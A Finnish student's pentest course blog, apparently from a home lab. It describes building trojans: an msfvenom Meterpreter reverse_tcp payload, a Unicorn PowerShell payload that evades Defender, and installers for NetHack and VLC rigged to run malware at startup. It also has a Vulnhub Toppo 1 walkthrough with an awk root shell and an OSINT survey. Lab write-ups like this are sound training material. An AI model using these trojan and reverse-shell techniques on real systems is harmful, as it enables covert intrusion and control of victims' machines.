Kotitehtävä 7

Tämän viikon tehtävänä oli:

a) Tee troijalainen Unicornilla ohjeen mukaan. (Vinkki: katso Tatun raporttia)

b) Asenna oma, itsellesi uusi harjoitusmaali. Voit hakea maalikoneen Vulnhubista. Murtaudu koneelle, katso walktroughsta vinkki, jos jäät jumiin.

c) Google Project Zero. Löydätkö tekniikoita, joita voi hyödyntää pentestissä? (Ei tarvitse toistaa haastavia assembler-temppuja)

Harjoitusalustana toimii Oracle VM VirtualBox, jonne asennettu Kali Linux ja Windows 10 v. 17.09.

 Troijalainen Unicornilla

Tässä tehtävässä on tarkoituksena luoda troijalainen, jota ei voida välittömästi havaita Windows Defenderin anti-virus-ohjelmalla. Harjoituksessa käytetään pitkälti samoja työkaluja kuin edellisen viikon harjoituksessa 6. Koska edellisellä viikolla käyttämäni Nethack ei vaadi admin-oikeuksia asentamiseen, niin päätin korvata sen toisella ohjelmalla.

Ohjeena seuraavalle toimi Tatu Erkinjuntin edelliselle tunnille tekemä harjoitus, jonka voi lukea kokonaisuudessaan täältä.

Aloitin kuitenkin lataamalla Unicorn-työkalun Gitistä.

unigitti.JPG

Tutkin vähän tiedostoja ja sitten koitin luoda haittaohjelman. Kyseessä on Windows Powershell-hyökkäys, ja Unicornin pitäisi luoda minulle kaksi tiedostoa, itse Powershell-komennon, jossa haittaohjelma on mukana, sekä asetustiedoston, jolla saan Meterpreterin käyntiin Metasploitin konsolissa.

uncorncommand

Laiton kohde ip-osoitteeksi tietysti Kalin osoitteen ja kohdeportiksi 5566.

unicorndone.JPG

Itse hyökkäystiedosto näytti tältä.

attack.JPG

Seuraavaksi käynnistin Metasploitin ja katsoin onko tietokanta toiminnassa.

listener4

Seuraavaksi siirsin powershell_attack.txt -tiedoston Windows-koneelle.

Aloitin pystyttämällä samba-palvelimen.

sudo apt-get install samba

Seuraavaksi asetin salasanan.

smbpasswd -a root

Sitten tein kansion jaettaville tiedostoille.

mkdir /root/sambashare

Seuraavaksi editoitiin asetustiedostoa jonka loppuun lisäsin kuvassa näkyvät rivit.

sudo nano /etc/samba/smb.conf

samba

Lopuksi vielä käynnistin palvelun uudestaan.

sudo service smbd restart

Sitten olikin vuorossa kokeilla saanko tiedostojaon toimimaan. Lisäsin Windows työpöydälle uuden pikakuvakkeen, jonka tiedoihin lisäsin uuden kansion (tulipahan tätäkin harjoiteltua…)

sambawin.JPG

Olin onnistunut siirtämään samban avulla tiedoston Win10 koneelle ja jos asiassa oli jotain positiivista, niin ainakaan heti Windows Defender ei päästänyt ääntäkään. Kytkin sen vielä erikseen päälle, mutta vieläkään ei tiedosto kadonnut työpöydältäni mihinkään.

Jatkoin ohjeiden seuraamista. Tässä vaiheessa nimesin uudestaan malware-tiedoston. Uusi nimi oli attackfile.bat.

Tässä vaiheessa on lienee sama, minkä ohjelman valitsee asennuspakettiin mukaan. Päätin valita esimerkissäkin olleen VLC-playerin, jota olen käyttänyt joskus itsekin.

Kopioin kaikki tiedostot samaan kansioon ja käynnistin Inno Setupin. Tein uuden projektin ja Wizardin avulla.

as1

as2.JPG

Tässä määritellään asennuksen päätiedosto ja sijoitetaan haittaohjelma Windowssin automaattisesti ajettavien tiedostojen kansioon niin, että Malware ajetaan aina kun kone käynnistetään.

as3.JPG

Loput asennutiedostot menivät ihan next next -linjalla.

Koitin vielä ajaa asennustiedostoni.

succeeees.JPG

Hyvin näytti toimivan. Lisäksi Kalissa näkyi avautunut Meterpreter!

succeeeees

Toppo 1

Seuraavana tehtävänä oli hakea Vulnhubista virtuaalikone ja murtaa se. Luin sivulla olevaa listaa virtuaalikoneista ja valitsin sitten yhden, jonka sanottiin olevan helppo. Minulla oli vain yksi ilta aikaa tehtävän tekemiseen.

Kohdekoneeksi valikoitu Toppo 1.

topp01.JPG

Ilokseni huomasin, että Vulnhubin koneet eivät toimi Oraclen virtualboxissa. Kihisin kiukusta ja melkein lopetin hommat tähän. Jatkoin kuitenkin tehtävää ja latasin VMwaren virtualboxin osoitteesta https://www.vmware.com/products/workstation-player.html.

Jatkoin asentamalla Kalin VMwareen. Asentaminen ei sinänsä ollut kovin vaikeaa, mutta ohjeita voi katsoa esimerkiksi Youtubesta. Lisäksi asensin vielä VMwareTools työkalut, sillä vasta sitten sain ruudun mukautumaan ikkunan kokoon. Ohjeet asentamiseen voit katsoa vaikka täältä. Nyt minulla oli toimiva Kali myös VMWaressa. Seuraavaksi piti saada toimimaan Toppo 1:n levykuva.

Tämäkin oli helpommin sanottu kuin tehty. Yritin ensin luoda tyhjän virtuaalikoneen ja lisätä sitten siihen uuden kovalevyn, jonka sisällöksi laitoin Toppon .vdmk -tiedoston. Kokeilin lähteekö kone käyntiin. Oli vähän ongelmia, mutta lopuksi loin uuden koneen ja laitoin asetuksiksi käyttöjärjestelmään other. Lisäsin uuden levyn koneelle ja käytin lataamaani tiedostoa sen sisällöksi. Nyt Toppokin käynnistyi.

toppo.JPG

Minulla ei ollut aavistustakaan löytäisikö kali linux Toppon, joka kylläkin kiltisti ilmoitti ip-osoitteensa heti etusivulla. Kokeilin pingata sitä Kalilta. Ainakin yhteys toimi hyvin.

pingres.JPG

Aloitin ajamalla nmapin.

nmap  -A -Pn -vvv 192.168.92.129

Löysin avoimia portteja ja vaikka mitä potentiaalisesti hyödynnettävää.

nmaptoppo.JPG

Ainakin portit 22, 80 ja 111 ovat auki. Koneelta löytyy ssh 6.7 ja Apache 2.4.10. Portissa 111 pyörivä rpcbind oli kuitenkin minulle uutta, joten tarkistin nopsaan mistä on kysymys. Palvelu on port mapper, joka on lähellä nimipalvelinta. Se kuuntelee portissa 111. Kun ohjelma yrittää ottaa yhteyttä koneeseen, ohjaa rpcbind-palvelin pyynnöt oikeaan porttiin erillisen protokollanumeron avulla. Näin ohjelma tietää mihin porttiin sen pitäisi ottaa yhteyttä.

Kokeilin seuraavaksi mitä Apache pyörittää. Kohdekoneen osoitteessa vastaa Blogi-sivu, joka näyttää WordPressiltä.

blogi.JPG

Webbi-sivuja on hyvä tutkia myös niktolla, joten koitin sitäkin.

nikto -h http://192.168.92.129

Sain tulokset.

nikto.JPG

Ohjeissa jotka löysin myöhemmin, ajettiin myös Dirbusteria, joten koitin sitäkin ja lisäsin tiedot tähän.

dirb http://192.168.92.129 /usr/share/dirb/wordlists/common.txt

Tavaraa tuli sivukaupalla, josta suurin osa näytti olevan manual-sivuja eri kielillä.

Nikton tuloksista voimme huomata, että erilaisia hakemistoja on avoinna. Koitin ensin /img/ kansiota, eli kirjoitin osoiteriville osoitteksi http://192.168.92.129/img/.

Seuraavaksi koitin admin kansiota. Täällä on mielenkiintoinen tiedosto, jota päätin katsoa.

Tadmin.JPG

Tiedoston sisältö oli varsin mielenkiintoinen.

soccer.JPG

Tämä on varmaankin salasana ja arvaisin ssh.

Koitin kirjautua sisään:

ssh ted@192.168.92.129

Pääsin suoraan sisälle. (sudo -l komennolla voi katsoa käyttöoikeuksia).

ted.JPG

En tiennyt miten edetä, joten katsoin ohjetta Youtubesta osoitteesta https://www.youtube.com/watch?v=dOoPrg9a_sY

Nähtävästi minun pitäisi saada joitakin työkaluja siirrettyä kohdekoneelle. Koitin ensin saada LinEnum nimisen ohjelman Toppolle. Kloonasin sen githubista komennoll:

git clone https://github.com/rebootuser/LinEnum.git

Perus Linux-kursseista oli kuitenkin niin pitkä aika, etten yhtään muistanut miten tiedostoja voi siirtaa ssh:n tai wgetin avulla.

Katsoin ohjeita ja kansiossa missä LinEnum.sh tiedosto oli, käynnistin palvelimen komennolla:

python3 -m http.server 5566

Sitten siirryin kohdekoneelle ja latasin tiedoston.

wget http://192.168.92.128:5566/LinEnum.sh

Ihme ja kumma! Tiedosto siirtyi ja LinEnum oli nyt Toppolla.

linenum.JPG

Kokeilin miten lähtee toimimaan komennolla:

./LinEnum.sh

Ei lähtenyt, vaan sain ilmoituksen permission denied. Kalilla komento sen sijaan toimi normaalisti. Koitin vaihtaa oikeudet tiedostolle, vaikka en edes nähnyt tässä mitään järkeä.

chmod 777 LinEnum.sh

Sitten ajoin tiedoston. Olin näköjään hoitanut ongelman ja nyt sain sivukaupalla dataa.

resultstopppo.JPG

Kuvasta näemme, että koneella on kaksi käyttäjätiliä, root ja ted. Lisäksi ohjelma paljasti huomattavan määrän muuta tietoa.  Ted käyttäjä saa ajaa komentoja ilman salasanaa (ihmettelinkin miten chmod toimi niin hyvin).

ted2.JPG

Toinen ohjelma jota esimerkissä käytetään, on nimeltään linuxprivchecker.py.

Nähtävästi sekin pitäisi saada siirrettyä kohdekoneelle. Jostain syystä ohjelman nettisivu ei toiminut lainkaan. Yritin kiertää ongelmaa lataamalla ohjelman suoraan wgetillä.

wget http://www.securitysift.com/download/linuxprivchecker.com.py

wget.JPG

Tiedostoa ei löytynyt täältäkään. Tämä oli erittäin raivostuttavaa, sillä ohjelma mainittiin monilla sivustoilla hyväksi työkaluksi oikeuksien saamiseksi.

Selvisi, etten voi ladata tiedostoa suoraan kohdekoneelle, mutta kalille se onnistui. Nyt vain tein samat kuviot kuin aikaisemmin tiedoston siirtämiseksi kohdekoneelle.

Eli:

python3 -m http.server 5566

wget http://192.168.92.128:5566/linuxprivchecker.py

Koitin ajaa tiedoston.

python linuxprivchecker.py

Sain taas listan tuloksia, joita oli hieman vaikea tulkita.

privchecker.JPG

Ohjelma ehdottaa erilaisia exploitteja käyttöön, mutta en tarkalleen ihan ymmärrä niiden toimintaa. Ne ovat kuitenkin nähtävissä kuvassa ylhäällä.

Komennot ovat kuitenkin kopioitavissa suoraan. Koitin awk -komentoa.

awk ‘BEGIN {system(“/bin/bash”)}’

Sitten koitin kuka olin komennolla

id

Mutta olin yhä ted, joten poistuin.

exit

Ylhäällä olevaa komentoa voi kuitenkin muokata ja koittaa muuttaa bash:in tilalle toista shelliä, kuten sh.

awk ‘BEGIN {system(“/bin/sh”)}’

Nyt sain root-oikeudet ja alhaalla olevassa kuvassa on kuva tiedostosta, jota olin tavoitellut.

victory.JPG

Yritin vielä ottaa selvää mitä awk-komento tekee. Nähtävästi komento vain käynnistää shellin.

Lisää awk komennoista voit lukea osoitteesta;

https://linuxconfig.org/learning-linux-commands-awk

Tämä tehtävä oli oikeasti hauska tehdä ja hyödyllinen. Asiat eivät olleet liian monimutkaisia ja kaikista ongelmatilanteista selvisi niin, että koko ajan ymmärsi mitä oli tekemässä. Tehtävän aikana tuli käytettyä monia uusia työkaluja, kerrattua vanhojen käyttöä ja muisteltua vanhoja kursseja. Luultavasti tästä tekemisestä oli minulle enemmän hyötyä kuin aikaisemmista, usein aika hämäristä maalikoneista.

 

Muut lähteet:

https://www.lifewire.com/write-awk-commands-and-scripts-2200573

https://en.wikipedia.org/wiki/Portmap

https://www.techwalla.com/articles/how-to-import-vmdk-files-into-vmware

https://www.vulnhub.com/entry/toppo-1,245/

https://www.vulnhub.com/

https://www.vmware.com/products/workstation-player.html

 

 

 

 

 

 

 

 

Advertisements

Kotitehtävä 6

Tämän viion kotitehtävänä oli:

1) Hae Google Scholarlista tuore (alle 1-2 v) artikkeli, joka liittyy kurssin aiheeseen. Sopivia ovat vertaisarvioidut (peer-reviewed) artikkelit (journal articles) tai  konfferenssipaperit (conference papers, ovat hieman alempaa tasoa kuin journal artikkelit). Muista säätää asetukset: English. Library links: Haaga-Helia. No citations, no patents. Since 2017. Kokotekstit (full text PDF) ovat oikeassa reunassa. Minkä käytännön pentestiin sovellettavan asian opit artikkelista?

2) Tee Google Scholar -haku kiinnostavasta aiheesta, jota haluat seurata. Mitä 5 tuoreinta tai viitatuinta artikkelia kertovat? Voit silmäillä artikkelit, ei tarvitse tiivistää niitä kattavasti. Tilaa haku omaan sähköpostiisi (alerts). Näin pysyt kärryillä oman alasi uudesta tieteellisestä tutkimuksesta – ehkä alue on hallussa jo opinnäytettä aloittaessa.

3) Paketoi troijan hevonen itse. Voit tehdä asennuksen esimerkiksi inno setup -ohjelmalla. Voit kokeilla myös pakata samaan asennukseen vihamielisen ohjelman sekä normaalin ohjelman – näin et joudu muokkaamaan normaalin ohjelman binääriä. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Älä tee itsestään leviäviä ohjelmia.

4) OSINT. Mistä ja millä tekniikoilla voit hakea ihmisistä tietoa avoimista lähteistä? Voit myös kokeilla sovelluksia, esim. maltego (suljettu) tai recon-ng (vapaa); sekä weppisivuja (esim. inteltechniques.com) ja oppaita (esim email). Voit hyödyntää myös offline-lähteitä. (Tämä kohta käsittelee tekniikoita, työkaluja ja weppisivuja – älä laita tähän parisi tietoja)

5) Hae paristasi tietoa avoimista lähteistä. Pyri laatimaan kattava profiili henkilöstä: historia, kiinnostuksen kohteen, poliittiset mielipiteet, lähipiiri, taloudellinen tilanne, asuinpaikka… Älä julkaise tuloksia edes anonymisoituna, ei edes salasanan takana, äläkä kerro niistä ulkopuolisille hauskoja anekdootteja. Anna tulokset parillesi (sille, josta tiedot kertovat). Kysy pariltasi etukäteen, mistä tiedoista voimme keskustella tunnilla ja millä tarkkuudella. Käytä vain laillisia tekniikoita ja julkisia lähteitä. Tässä tehtävässä ei saa murtautua mihinkään, eikä esiintyä toisena henkilönä. Ole asiakkaan (parisi) luottamuksen arvoinen – myös pentest-asiakkaasi edellyttävät luottamuksellisuutta.

1 & 2: Google Scholar

Aloitin kokeilemalla Google Scholar -palvelua. Google Scholar on tieteellisten julkaisujen etsintään ja lukemiseen tarkoitettu palvelu ja se on ollut olemassa jo 14 vuoden ajan. Aloitin etsimällä palvelun hakukoneella. Etusivu näytti olevan hyvin lähellä Googlen perinteistä hakukonetta.scholar.JPG

Avasin valikon oikeasta yläkulmasta ja valitsin asetukset. Täällä valistsin kieleksi Englannin kieliset artikkelit ja kohdasta kirjastolinkit, löysin kentän mihin syötin koulun nimen.

sholar2.JPG

Seuraavaksi hain erilaisia artikkeleja tietoturva-aiheista. Lopulta päädyin lukemaan artikkelin nimeltä “USBWall: A Novel Security Mechanism to Protect Against Maliciously Reprogrammed USB Devices”.

Artikkelin oli kirjoittanut Myung-gu Kang ja se oli Kansasin yliopiston lopputyö. Artikkelissa kuvailtiin mekanismeja, joilla saastuneet muistitikut ottavat emokoneen hallintaan ja vastakeinona rakennettua laitetta USB-Wallia, joka toimii proxynä USB-laitteen ja emokoneen välissä.

Käytännössä ongelma USB-laitteiden kanssa on sellainen, että kiinni kytkettäessä saastunut USB-laite esittää olevansa jokin muu, kuin miltä näyttää, esimerkiksi näppäimistö. Tietokone tunnistaa laitteen näppäimistönä ja hakee sille sopivat ajurit, joka onkin juuri mihin haittaohjelma pyrkii. Heti kun laite saa ajurit, sitä voidaan käyttää kuten näppäimistöä.

Tein haun aiheesta “Windows Server” ja tilasin omaan sähköpostiini ilmoitukset  ilmestyvistä uusista artikkeleista. Kirjoitan itse opinnäytetyötä otsikolla “Oppilaitoksen aktiivihakemiston päivitysprojekti -testiympäristö ja testaaminen”.

Inno Setup

Seuraavaksi kokeilin Inno Setup -ohjelmaa. Tarkoituksena oli paketoida itse haittaohjelma mukaan asennuspakettiin, jonka voi luoda Inno Setupilla. Aloitin lataamalla ohjelman Virtual Boxissa pyörivään Windows 10 -käyttöjärjestelmään. Aloitin lataamalla Inno Setup -ohjelman osoitteesta:

http://jrsoftware.org/isinfo.php

Ajattelin luoda asennuspaketin, joka asentaa vanhan kunnon luolaseikkailupelin NetHackin ja samalla ujuttaa viime kotiläksyissä tehdyn haittaohjelman Malware.exe käyttäjän koneelle. NetHackin graafinen käyttöliittymä näyttää tältä.

nethack.JPG

Seuraavaksi unohduin pelaamaan NetHackiä.

Kopioin haittaohjelman samaan kansioon, missä Nethackin tiedostot olivat ja käynnistin Inno Setupin.

Käyttöliittymästä valitsin File -> New

Syötin Wizardiin tarvittavat kentät. Ensin kysyttiin applikaation nimi ja muita tietoja.

nethacktiedot

Sitten oletuskansio, mihin ohjelma asennetaan.

asennus2.JPG

Seuraavaksi ajettavaa tiedostoa. Tähän on nyt pakko mainita, että parasta olisi ollut käyttää esimerkiksi viime tunnilla tehtyä doom-haittaohjelmaa, jossa hyökkäyskoodi oli nivottu alkuperäiseen .exe tiedostoon. Annoin toki käyttäjälle mahdollisuuden ajaa heti asennuksen jälkeen haittaohjelman, mutta tämähän ei ole mitenkään automaattista! Jos minulle jää aikaa, teen myöhemmin vielä toisen version, missä meterpreter on sulautettu Nethackin .exe tiedostoon.

asennus3.JPG

Sitten luotiin oikopolut työpöydälle.

asennus4.JPG

Valitaan asennuskieli.

asennus5.JPG

Valitaan asennustiedoston nimi ja kansio.

asennus6.JPG

Lopuksi kaikki oli valmista.

asennus7.JPG

Tässä on näkyvissä skripti, jolla tiedosto luotiin.

asennus8.JPG

Tutkiskelin vähän mitä sain aikaan. Hyvältä näytti, mutta ei sittenkään. Huomasin että alhaalla skriptissä oli kohta [run] ja se sisältää asennuksen jälkeen ajettavat tiedostot. Jos muokkaisin executable- tiedostoksi sittenkin oikean NetHack.exen ja yrittäisin ajaa Malware.exe -tiedoston jo asennuksen yhteydessä. Tein kaiken uudelleen edellä mainituin muutoksin.

Eli ajatteva tiedosto on nyt oikea NetHackW.exe.

auto1

Laitoin loputkin tiedot, mutta en vielä ajanut skriptiä, sillä nyt minun töytyi lisätä Malware.exe [run]-sectionin alle skriptiin.

Katsoin ohjeita osoitteessa: http://www.jrsoftware.org/ishelp/index.php?topic=runsection

Lisäsin ennen varsinaisen ohjelman ajoa oman rivin, jossa ajetaan Malware.exe -tiedosto.

leike.JPG

Minulla ei ollut aavistustakaan oliko skriptini oikeassa formaatissa, mutta kokeilin koota ajettavan tiedoston. Tiedoston luonti onnistui. Jäljellä oli vain yksi tehtävä -kokeilla juontani käytännössä! Käynnistin ensin Kalin toiseen virtuaalikoneeseen ja laitoin kuuntelijan päälle, kuten olin tehnyt viime viikon kotitehtävissä.

listener.JPG

Sitten koitin ajaa asennustiedostoni ja toivoin, että Reverse Shell käynnistyy automaattisesti, kuten oli tarkoitus. Tuplaklikkasin asennustiedostoani.

install1

Sitten kysyttiin asennustiedostoa.

install2

Kaikki oli valmista asennusta varten.

install3

Olin onnistunut asentamaan hyökkäysohjelmani kohdekoneelle! Meterpreter aukesi kuten pitikin!

install4.JPG

install5.JPG

Epäonnisen Windows-käyttäjän ainoa lohtu oli harhailla NetHackin maailmaan!

nethack2.JPG

Tiedonhaku avoimista lähteistä

Seuraavassa tehtävässä piti selvittää, mistä ja millä tekniikoilla voit hakea ihmisistä tietoa avoimista lähteistä. On lienee itsestään selvää, että nykyaikana tälläisten henkilökohtaisten tietojen esille kaivaminen on usein helppoa, sillä ihmiset jakavat tietojaan vapaaehtoisesti sosiaalisessa mediassa ja verkossa. Kun jokin lähtöpiste on löytynyt, voidaan liikkeelle lähteä siitä ja jatkaa eteenpäin. Taitava tiedonhakija yhdistelee eri lähteistä saatuja tietoja. Joskus aluksi pienikin tieto voi paljastaa yllättävän paljon, jos tiedonhakija on tarpeeksi kekseliäs.

Ensimmäinen työkalu tiedonhakuun on luonnollisesti hakukone ja suosituin niistä on tietenkin Google. Lisäksi on olemassa suuri joukko julkisia rekistereitä ja tietokantoja, joihin tietojamme talletetaan ja joista niitä voi hakea. Osa rekistereistä on maksullisia. Yksi tälläinen rekisteri on esimerkiksi Väestörekisterin ja maistraattien osoitepalvelu, joka on osittain maksullinen. Väestörekisterikeskus tallentaa myös monenlaisia muita tietoja tietokantaansa, jotka saa tosin vain itsestään. Nimen lisäksi tallennetaan tiedot henkilöturvatunnuksesta, osoitteesta, kansalaisuus, perhesuhdetiedot, sekä syntymä- ja kuolinpäivät. Lisäksi on tallennettu tiedot esimerkiksi  uskonnollisen yhteisön jäsenyydestä.

Myös verotiedot ovat julkisia, mutta niitä pääsee selailemaan vain Verohallinnon toimipaikkojen asiakaspäätteiltä. Tietoja ei saa suoraan kopioida itselleen, mutta muistiinpanojen tekeminen on sallittua.

Myös oikeuden asiakirjat ovat julkisia. Jokaisella on oikeus saada tietoa oikeudenkäynneistä ja oikeudenkäyntiasiakaskirjoista. Laki oikeudenkäynnin julkisuudesta on luettavissa osoitteesta “http://www.finlex.fi/fi/laki/ajantasa/2007/20070370”. Joskus oikeudenkäynti tiedot kuitenkin luokitellaan salaisiksi.

Muita julkisia tietoja ovat esimerkiksi ajoneuvorekisterin tiedot.

Osoite- ja yhteystietoja välittävät myös erilaiset maksulliset palvelut. Tälläisiä ovat esimerkiksi 118 numeropalvelu, Fonecta Finder, 020202, Telian numeroplavelu ja niin edelleen. Jos liittymän numero on luokiteltu salaiseksi puhelinnumeron löytäminen näin saattaa olla vaikeaa.

Ihmiset antavat jakavat tietojaan nettiin erilaisilla sosiaalisen median alustoilla. Facebookin perustaja Mark Zugkerberg totesi kuuluisassa puheessaan vuonna 2010, etteivät ihmiset enää voi olettaa tietojensa olevan yksityisiä. “Privacy is no longer social norm”,  sanoi Zuckerberg. Viime aikaisten tapahtumien valossa Zuckerbergin olisi kuitenkin ehkä kannattanut vähän jäähdytellä.

Erilaisia sosiaalisen median alustoja on käytössä jo kymmenittäin. Osa niistä sisältää vain pienen määrän henkilökohtaiseksi luokiteltavaa tietoa, osa taas avaa elämämme yksityisasetuksista riippumatta koko kansan luettavaksi. Oman lukunsa muodostaa operaattorien ja yhtiöiden meistä keräämä metatieto, jota yritykset keräävät meistä tallentaen jokaisen keskustelun, kuvan ja tykkäyksen tietokantoihinsa. Esimerkiksi Cambridgen  yliopiston analyysi ohjelmisto on noussut julkisuuteen Amerikan vaaleihin liittyvän skandaalin myötä. Voit itse analysoida oman profiilisi osoitteessa “https://applymagicsauce.com/”.

Erilaisia sosiaalisen median palveluita ovat esimerkiksi kaikkien tuntema Facebook, Instagram, Snap-Chat, Twitter ja Linkedin ja pikaviestipalvelut, kuten Whatsapp, Kik ja Messenger. Lisäksi tietojamme on tallennettu sähköpostiohjelmien profiileihin, suoratoistopalveluiden tileille, sekä keskustelupalstoille ja kuvalaudoille. Nykyaikana on miltei mahdotonta sanoa moneenko erilliseen palveluun tietojamme on annettu. Jokainen näistä palveluista kerää meistä tietoa ja tallettaa sitä. Itse välttelen nykyisin sosiaalista mediaa, mutta minulla on käyttäjätilit ainakin 30 eri palveluun. Yleensä palvelut on suunniteltu niin, että tietojen poistaminen niistä saattaa olla kovan työn takana tai lähes mahdotonta.

Tietoa voi hakea erilaisten myös erilaisten sovellusten avulla. Erilaiset tehtävään räätälöidyt nettisivut, kuten esimerkiksi pipl.com etsivät tietyn henkilön sosiaalisen median tilit. Kiinnostavaa on se, että ohjelma löytää minulle monia eri tilejä, vaikka yksikään niistä ei ole aktiivinen tai toiminnassa. Kokeilin vielä läpi inteltechniques.com sivuston tiedonhakutyökalut.

 

Lähteet:

http://verkkopalvelu.vrk.fi/Nimipalvelu/default.asp?L=1

https://vrk.fi/henkilotiedot

http://news.cision.com/fi/vaestorekisterikeskus/r/vaestorekisterikeskuksen-ja-maistraattien-osoitepalvelu-loytaa-oikeat-osoitteet-joulutervehdyksiin,c174667

http://www.finlex.fi/fi/laki/ajantasa/2007/20070370

https://www.theguardian.com/technology/2010/jan/11/facebook-privacy

 

Kotitehtävä 5

Tämän viikon kotitehtävänä oli:

1) Tee troijan hevosia, vähintään kaksi erilaista. Voit tehdä esimerkiksi saastuneen asennusohjelman, dokumentteja joissa on vihamielisiä makroja sekä älypuhelimen apsin. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Vihamielisenä hyötykuormana voi olla esimerkiksi meterpreter. Älä tee itsestään leviäviä ohjelmia. Voit käyttää troijan hevosen tekoon esim. setoolkit, msfvenom.

2) Mitä uusia keksintöjä Confickerissa esiteltiin? Lue jokin artikkeli Confickerista. ‘conficker analysis’ on hyvä hakusana. Kiinnitä huomiosi C2:n.

3) Blogeja. Etsi Krebsin tai Schneierin blogeista ideoita pentestiin. Näissä blogeissa on paljon turvallisuuteen liittyviä aiheita, tee erityisesti huomioita tunkeutumistestaukseen liittyen.

4) Safarionline. Opettele ja testaa jokin uusi Pentesting-tekniikka kirjasta tai videosta, jonka löydät Safarionlinesta.

 

Troijan hevoset

Kreikkalaisen muinaistaruston Troijan sodassa ovelat Kreikkalaiset päihittivät puuhevosen avulla Troijan kaupunkivaltion, kun he onnistuivat soluttautumaan kaupungin muurejen sisäpuolelle piiloutuneena suureen puiseen hevoseen. Ylpeät Troijalaiset luulivat Kreikkalaisten paenneen ja kantoivat hevosen porteistaan sisään. Tietotekniikassa troijalaisella tarkoitetaan jotakin ohjelmaa tai tiedostoa, joka on naamioitu tavalliseksi tiedostoksi ja jolla yleensä on jokin toiminto, mutta joka samalla lataa kohde koneelle jotakin haitallista koodia. Se voi olla tietokoneviirus, mato tai takaportti, jonka avulla kohdekone voidaan ottaa hallintaan.

Haitallinen tiedosto voi olla asennustiedosto, sähköpostilla lähetetty liitetiedosto tai tavallinen asennustiedosto. Joskus käytössä on niin sanottu autorun, jolloin tietokone ajaa automaattisesti muistitikulla tai CD-levylle tallennetut tiedostot.

Halusin kokeilla tehdä Windows 10 koneelle tarkoitetun troijalaisen, joka asentaisi reverse shellin ja jota voisin kokeilla käytännössä Oracle VM virtuaalikoneilla. Minulla oli muutama ISO-tiedosto Windows 10 asentamiseen, mutta virtual box ei suostunut käyttämään niitä. Lopulta huomasin täpän, jossa sanottiin live cd or DVD ja laitoin sen päälle. Nyt Windows lähti asentumaan Virtual Boxiin.

Seuraavaksi olikin sitten aika tapella VirtualBoxin verkkoasetusten kanssa. Käynnistin molemmat virtuaalikoneet ja yritin vaikka mitä optioita, mutta koneet arpoivat mitä sattuu verkko-osoitteita tai eivät toimineet. Sitten huomasin, että verkko piti ensin luoda valitsemalla File -> Preferences -> Network. Laitoin verkolle asetukset ja nyt kaksi konetta olivat samassa verkossa ja löysivät toisensa, kunhan olin ensin käynyt asentamassa Windows palomuurista asetukset niin, että kone vastasi ping-komentoon.

natasetukset

firewall.JPG

Nyt kun koneet olivat samassa verkossa, saatoin aloittaa kokeilun Kalilla. Ensimmäiseksi olin päättänyt siis luoda troijalaisen, jonka avulla saisin avattua etäyhteyden Windows 10 koneelta. Tätä varten on olemassa työkalu nimeltään MSFVenom. Sen käyttö oli melko yksioikoista. Aloitin selvittämällä Kali-linix koneeni ip-osoitteen.

Seuraavalla komennolla sain ohjeita:

msfvenom -h

venomhelp

Seuraavaksi ohjeita seuraten koitin luoda ajettavan tiedoston Windows käyttöjärjestelmälle, joka asentaa Meterpreterin koneelle, jolla tiedosto ajetaan.

Listan erilaisista tiedostoista sai komennolla:

msfvenom –list formats

listaformats

Koitin seuraavaksi luoda tiedoston komennolla:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.5 LPORT=5566 -f exe > malware.exe

Missä:

-p Payload, asennettava haittaohjelma
LHOST Kone, jolle yhteys otetaan kun tiedosto on ajettu kohdekoneella
LPORT Kohdeportti
-f Tiedostomuoto, johon tiedosto tehdään

Tiedoston luominen onnistui.

filedone

Seuraavaksi avasin kuuntelijan Kalille, jotta voimme vastaanottaa haittaohjelmamme meille lähettämät tiedot. Aloitin käynnistämällä Metasploit consolen.

msfconsole

Itse vastaanottoon käytetään reverse TCP handler -ohjelmaa ja se löytyy Metasploitista. Laitoin asetukset kuntoon.

asetukset

Seuraavaksi koitin siirtää tiedoston Windows 10 konelle sähköpostilla. Arvasin kuitenkin, ettei se onnistu. Pakattuna sain kuitenkin tiedoston lähetettyä Windows koneelle ja tein kuten kuka tahansa pahaa aavistamaton uhri ja ajoin sen.

Seurasi lisää ongelmia, koska Windows havaitsi tekemäni Viruksen ja poisti tiedoston. Vasta kun olin poistanut virussuojauksen kokonaan käytöstä ja sen jälkeen vielä erikseen varmistanut, että todella, TODELLA haluan ajaa tiedoston, sain sen ajettua ja yhteys Kaliin aukesi. Nähtävästi haittaohjelmani ei ollut kovin sofistikoitunut.

succees

Tässä vielä ruutukaappaus Windows ympäristöstä, mutta Meterpreterin kautta! Kuvakaappauksen sai otettu komennolla screenshot.

screenshot

Seuraavaksi koitin tehdä SEToolkitin avulla pdf-tiedoston, joka sisältää haittaohjelman.

Aloitin käynnistämällä SEToolkit komennolla:

setoolkit

Ohjelma käynnistyi. Erityisen mukavaa on, että kerrankin käyttöliittymä näytti helpolta valikkomaisen rakenteensa ansiosta.

setoolkit

Aloitin valitsemalla Social-Engineering Attacks ja uusi menu avautui, josta valitsin Infectious Media Generator ja File-Format Exploits.

menu3.JPG

Seuraavaksi annoin Kalin IP-osoitteen. Sain listan tiedoistomuodoista, joita voisin käyttää.

menu4

Valitsin PDF Embedded EXE Social Engineering, eli 13.

Seuraavaksi kysyttiin haluanko käyttää omaa PDF-tiedostoani. Tottakai halusin ja kävinkin heti lataamassa Moodlesta sopivan tiedoston. Mielestäni ohjeet lopputyöseminaaria varten olivat kuin tehty tähän tarkoitukseen.

file.JPG

Seuraavaksi valitsin Payloadin, eli tutun Windows Meterpreter Reverse_TCP:n.

Seuraavaksi kysyttiin taas listenerin IP-osoitetta ja porttia. Laitoin portiksi tällä kertaa 4444.

pdfdone.JPG

Seuraavaksi kysyttiin haluaisinko käynnistää Listenerin heti, mihin vastasin kyllä.

Oli aika kokeilla malwareni toimivuutta. Jostain kumman syystä en saanut kuitenkaan yhteyttä Windows koneelta kaliin aukemaan. Windows 10 Defender tosin huomasi, että tiedostossa on Malwarea.

scanresult.JPG

Yritin vielä muutaman kerran, mutta saastuneen pdf-tiedoston ajaminen ei missään tapauksista suostunut käynnistämään reverse shelliä. Minulla oli kiire, joten ajattelin palata testailuun vähän myöhemmin.

Conficker

